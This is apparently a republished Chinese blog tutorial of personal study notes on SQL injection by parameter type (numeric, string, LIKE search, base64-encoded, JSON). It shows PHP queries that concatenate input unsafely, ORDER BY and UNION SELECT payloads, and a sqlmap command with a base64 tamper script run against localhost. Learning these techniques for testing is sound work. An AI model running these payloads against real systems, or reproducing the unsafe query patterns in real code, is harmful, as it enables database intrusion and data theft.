sql 数据类型注入+tamper
2023-12-15 21:40:35
数字型 0-9
查询语句:
$sql="select * from sy_guestbook where id=$i";
字符型 a-z 中文 标点符号 加入了单引号
查询语句:
$sql="select * from sy_guestbook where gTpl='$g'";
simple' order by 16--+
select * from sy_guestbook where gTpl='simple' order by 16--+'
搜索型 在基础上又加入的通配符
查询语句:
$sql="select * from sy_guestbook where gName like '%s%
演示%' UNION+ALL+SELECT+1,datab,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and %'=
select * from sy guestbook where gName like %演示%' UNION+ALL+SELECT+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='%'
编码型 数据以编码值传递
?查询语句:
$param = base64_decode($_GET['param']);
$sql = "SELECT * FROM users WHERE id = '$param'"
加密型 数据以加密的密文去发送
?
格式型 JSON
数据进行编码接受处理:发送编码值,对方常会进行解码后带入数据在进行SQL执行在注入的时候,我们也要尝试对注入的Payload进行编码后提交
分为键名和键值,类似py的字典。
这个需要注意的就是单引号的闭合,双引号是不作为值传入到源码里面进行处理的,从源码里面我们也可以知道只需要闭合单引号即可,至于{}这个符号,是josn自带的,这个不用考虑。
?
总结:
(开发程序里面,数字不需要单引号,字符需要单引号 双引号去概括的
需要考虑到符号的闭合 才能正确去执行SQL 完成SQL注入)
我在本地尝试了编码型base64
?param=MQ==
tamper
因为进行了base64编码,sqlmap直接跑是跑不出的
因为我们人知道这是base64,但是他不知道
那么!!!
这个时候就可以用到!!!
tamper!!!
Sqlmap的脚本都在tamper目录下
sqlmap.py -u "http://localhost/?param=MQ==" --tamper=base64encode.py
好的已经见识到tamper的魅力了
文章来源:https://blog.csdn.net/2202_75317918/article/details/134975606
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!